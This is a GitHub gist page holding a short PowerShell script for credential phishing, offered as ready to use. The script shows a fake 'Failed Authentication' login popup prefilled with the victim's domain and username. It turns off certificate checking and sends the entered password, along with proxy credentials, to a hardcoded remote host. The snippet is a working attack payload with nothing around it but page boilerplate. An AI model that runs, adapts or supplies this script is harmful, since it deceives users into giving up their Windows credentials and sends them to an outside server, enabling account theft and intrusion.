Created
January 12, 2015 20:22
-
-
Save mubix/b0fee7ba02ba8a225125 to your computer and use it in GitHub Desktop.
Powershell Popups, proxy aware and auth aware
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName + "\" + [Environment]::UserName,[Environment]::UserDomainName); | |
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; | |
$wc = new-object net.webclient; | |
$wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy; | |
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials; | |
$wc.credentials = new-object system.net.networkcredential($cred.username, $cred.getnetworkcredential().password, ''); | |
$result = $wc.downloadstring('https://172.16.102.163'); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment